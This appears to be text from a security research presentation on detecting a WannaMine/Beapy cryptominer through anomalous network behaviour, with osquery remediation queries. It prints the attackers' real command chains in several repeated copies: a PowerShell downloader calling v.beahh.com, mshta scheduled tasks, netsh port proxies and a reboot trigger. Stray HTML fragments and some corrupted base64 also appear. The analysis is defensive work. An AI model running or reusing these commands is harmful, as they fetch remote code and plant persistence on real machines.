SQBFAFgAKABOAGUAdwAtAE8AYBgAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAD
oALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&
```

```
IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)
```

1. Collects information about target and sends to C&C
2. Downloads the monero cryptominer
3. Runs it via a new Scheduled Task

```
cmd /c echo ljtDkRpy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo ** >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65533 DNSS3 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBLAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAD
oALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&
schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn GZAVwVOz /tr "c:\windows\vgeR.exe" /F) else start /b sc start
Schedule^&
ping localhost^&
sc query Schedule^|findstr RUNNING^&
```



```
cmd /c echo ljtDkRpy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65533 DNSS3 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e
SQBFAFgAKABOAGUAdwAtAE8AYBgAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAD
oALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&
schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn GZAVwVOz /tr "c:\windows\vgeR.exe" /F) else start /b sc start
Schedule^&
ping localhost^&
sc query Schedule^|findstr RUNNING^&
^&
^(schtasks /delete /TN Autocheck /f^&
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com
/page.html? [REDACTED]"^&
```

```
cmd /c echo ljtDkRpy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
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echo netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAD
oALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&
schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn GZAVwVOz /tr "c:\windows\vgeR.exe" /F) else start /b sc start
Schedule^&
ping localhost^&
sc query Schedule^|findstr RUNNING^&
^&
^(schtasks /delete /TN Autocheck /f^&
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com
/page.html? [REDACTED]"^&
schtasks /run /TN Autocheck^&
schtasks /delete /TN GZAVwVOz /f^&
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN GZAVwVOz /tr "c:\windows\vgeR.exe" ^&
schtasks /run /TN GZAVwVOz^&
schtasks /delete /TN Autocheck /f^&
schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autocheck /tr "c:\windows\temp\installed.exe" ^&
schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&
```

"MF_submit" class="button" type="submit">Submit

"loginlnner"><div class="acy apl aht abu">Install on your phone and browse faster</div></div></div></div><div align="center" style="margin-top: 15px;">



```
cmd /c echo ljtDkRpy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65533 DNSS3 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e
SQBFAFgAKABOAGUAdwAtAE8AYBgAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAD
oALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&
schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn GZAVwVOz /tr "c:\windows\vgeR.exe" /F) else start /b sc start
Schedule^&
ping localhost^&
sc query Schedule^|findstr RUNNING^&
^&
^(schtasks /delete /TN Autocheck /f^&
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com
/page.html? [REDACTED]"^&
schtasks /run /TN Autocheck^&
schtasks /delete /TN GZAVwVOz /f^&
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN GZAVwVOz /tr "c:\windows\vgeR.exe" ^&
schtasks /run /TN GZAVwVOz^&
schtasks /delete /TN Autocheck /f^&
schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autocheck /tr "c:\windows\temp\installed.exe" ^&
schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&
echo net start Ddriver >>c:/windows/temp/p.bat&
echo for /f %%i in ('tasklist ^^^| find /c /i "cmd.exe"') do set s=%%i >>c:/windows/temp/p.bat&
echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&
```

```
cmd /c echo ljtDkRpy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65533 DNSS3 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAD
oALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&
schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn GZAVwVOz /tr "c:\windows\vgeR.exe" /F) else start /b sc start
Schedule^&
ping localhost^&
sc query Schedule^|findstr RUNNING^&
^&
^(schtasks /delete /TN Autocheck /f^&
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com
/page.html?██████████" ^&
schtasks /run /TN Autocheck^&
schtasks /delete /TN GZAVwVOz /f^&
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN GZAVwVOz /tr "c:\windows\vgeR.exe" ^&
schtasks /run /TN GZAVwVOz^&
schtasks /delete /TN Autocheck /f^&
schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autocheck /tr "c:\windows\temp\installed.exe" ^&
schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&
echo net start Ddriver >>c:/windows/temp/p.bat&
echo for /f %%i in ('tasklist ^^^| find /c /i "cmd.exe"') do set s=%%i >>c:/windows/temp/p.bat&
echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&
echo net user k8h3d /del >>c:/windows/temp/p.bat&
echo del c:\windows\temp\p.bat>>c:/windows/temp/p.bat&
echo c:\windows\temp\installed.exe>>c:/windows/temp/p.bat&
```



```
cmd /c echo ljtDkRpy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
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SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAD
oALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&
schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn GZAVwVOz /tr "c:\windows\vgeR.exe" /F) else start /b sc start
Schedule^&
ping localhost^&
sc query Schedule^|findstr RUNNING^&
^&
^(schtasks /delete /TN Autocheck /f^&
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com
/page.html?HOSTNAME"^&
schtasks /run /TN Autocheck^&
schtasks /delete /TN GZAVwVOz /f^&
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN GZAVwVOz /tr "c:\windows\vgeR.exe"^&
schtasks /run /TN GZAVwVOz^&
schtasks /delete /TN Autocheck /f^&
schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autocheck /tr "c:\windows\temp\installed.exe"^&
schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&
echo net start Ddriver >>c:/windows/temp/p.bat&
echo for /f %%i in ('tasklist ^^^| find /c /i "cmd.exe"') do set s=%%i >>c:/windows/temp/p.bat&
echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&
echo net user k8h3d /del >>c:/windows/temp/p.bat&
echo del c:\windows\temp\p.bat>>c:/windows/temp/p.bat&
echo c:\windows\temp\installed.exe>>c:/windows/temp/p.bat&
cmd.exe /c c:/windows/temp/p.bat&
cmd /c c:c:\windows\temp\installed.exe
```

A real world scenario

v[.]beahh[.]com

coco[.]miniaст[.]com

rim[.]miniaст[.]com



Whois Lookup ⓘ

Admin City: Reykjavik
Admin Country: IS
Admin Email: 6da6bc47f4c9a28ds@withheldforprivacy.com
Admin Organization: Privacy service provided by Withheld for Privacy ehf
Admin Postal Code: 101
Admin State/Province: Capital Region
Creation Date: 2019-01-16T09:56:12.00Z
Creation Date: 2019-01-16T09:56:12Z
DNSSEC: unsigned
Domain Name: BEAHH.COM
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain name: beahh.com

Whois Lookup ⓘ

Admin City: Reykjavik
Admin Country: IS
Admin Email: 7f2ebc17c00ea038s@withheldforprivacy.com
Admin Organization: Privacy service provided by Withheld for Privacy ehf
Admin Postal Code: 101
Admin State/Province: Capital Region
Creation Date: 2019-03-17T11:38:36.00Z
Creation Date: 2019-03-17T11:38:36Z
DNSSEC: unsigned
Domain Name: MINIAST.COM

A real world scenario

Listening Ports

Agent Name	address	name	path	pid	port
[REDACTED]	::	dns.exe	C:\Windo...dns.exe	3804	65531
[REDACTED]	::	dns.exe	C:\Windo...dns.exe	3804	65532
[REDACTED]	::	dns.exe	C:\Windo...dns.exe	3804	65533
[REDACTED]	0.0.0.0	dns.exe	C:\Windo...dns.exe	3420	65531
[REDACTED]	0.0.0.0	dns.exe	C:\Windo...dns.exe	3420	65532
[REDACTED]	0.0.0.0	dns.exe	C:\Windo...dns.exe	3420	65533

A real world scenario

Type	Action	Source	Destination	Dest. Port	Count	Time ▾	Matching Rule	Related Incidents
✓	Allowed	[REDACTED] [REDACTED] dns C:\Windo...dns.exe NT AUTHO...Y\SYSTEM	1.1.1.1	53 UDP	27	<div style="background-color: #0070C0; width: 100px; height: 20px;"></div>	DNS RUL-60DA5BD8	

Outbound Communication

Listening Ports

Agent Name	address	name	path	pid	port
[REDACTED]	::	dns.exe	C:\Windo...dns.exe	3804	65531
[REDACTED]	::	dns.exe	C:\Windo...dns.exe	3804	65532
[REDACTED]	::	dns.exe	C:\Windo...dns.exe	3804	65533
[REDACTED]	0.0.0.0	dns.exe	C:\Windo...dns.exe	3420	65531
[REDACTED]	0.0.0.0	dns.exe	C:\Windo...dns.exe	3420	65532
[REDACTED]	0.0.0.0	dns.exe	C:\Windo...dns.exe	3420	65533



Remediation using osquery



Remediation using osquery

Query History

```
SELECT *  
FROM file  
WHERE path in ("C:\Windows\NetworkDistribution\svchost.exe",  
"C:\Windows\System32\dllhostex.exe")
```

```
SELECT *  
FROM file  
WHERE lower(path) in ("c:\windows\temp\msinstall.exe",  
"c:\windows\vger.exe",  
"c:\windows\temp\p.bat",  
"c:\windows\temp\eb.txt",  
"c:\windows\temp\installed.exe")
```

malicious files

Query History

```
'KB4013198', 'KB4012215', 'KB4015553', 'KB4019472', 'KB4012217', 'KB4019473', 'KB4016635')  
THEN 1  
ELSE 0 END AS is_eternal_blue_patch  
FROM patches WHERE description = "Security Update"),  
PATCH_COUNT AS (  
SELECT sum(is_eternal_blue_patch) as eternal_blue_patch_count from EB)  
SELECT * from PATCH_COUNT where eternal_blue_patch_count == 0
```

MS17-010

user used by TA

```
SELECT *  
FROM users  
WHERE lower(username)like "%k8h3d%"
```

malicious scheduled tasks

```
SELECT *  
FROM scheduled_tasks  
WHERE LOWER(name) like "%autocheck%"  
OR LOWER(name) like "%gzavwvoz%"  
OR LOWER(name) like "%autoload%"  
OR LOWER(name) like "%bluetool%"
```

What we've found

Activity was attributed to WannaMine/Beapy, active since 2018



What about Incoming Communication?

What about Incoming Communication?

- Malicious outbound communication is more common
- Highly influenced by network configuration
- Could still reveal never-seen-before communication patterns

Future work

- Working on publishing the baseline
- Use the same logic for other data sources
 - Services tied to an executable
- Adding more features
 - internet/internal, ASN, destination domain

Try it!

- Firewall/EDR logs
- Sysmon Event ID 3

Event Properties - Event 3, Sysmon

General Details

Network connection detected:

RuleName: Usermode
UtcTime: 2020-04-01 17:29:20.830
ProcessGuid: {ff4048c8-cf6f-5e84-0000-0010d7f9d902}
ProcessId: 3116
Image: C:\Users\aberlin\AppData\Local\Temp\sfl-a7983815\Setup.exe
User: BLULAB\aberlin
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 192.168.1.102
SourceHostname: Blu-Server01.blulab.dev
SourcePort: 60500
SourcePortName:
DestinationIsIpv6: false
DestinationIp: 173.222.229.193
DestinationHostname: a173-222-229-193.deploy.static.akamaiterologies.com
DestinationPort: 443
DestinationPortName: https

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Sysmon Logged: 4/1/2020 1:29:21 PM
Event ID: 3 Task Category: Network connection detected (rule)
Level: Information Keywords:
User: SYSTEM Computer: Blu-Server01.blulab.dev
OpCode: Info
More Information: [Event Log Online Help](#)

Questions

Network Anomalies - Detecting Process Injection

X Ofir Shen

X Akamai Research



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Akamai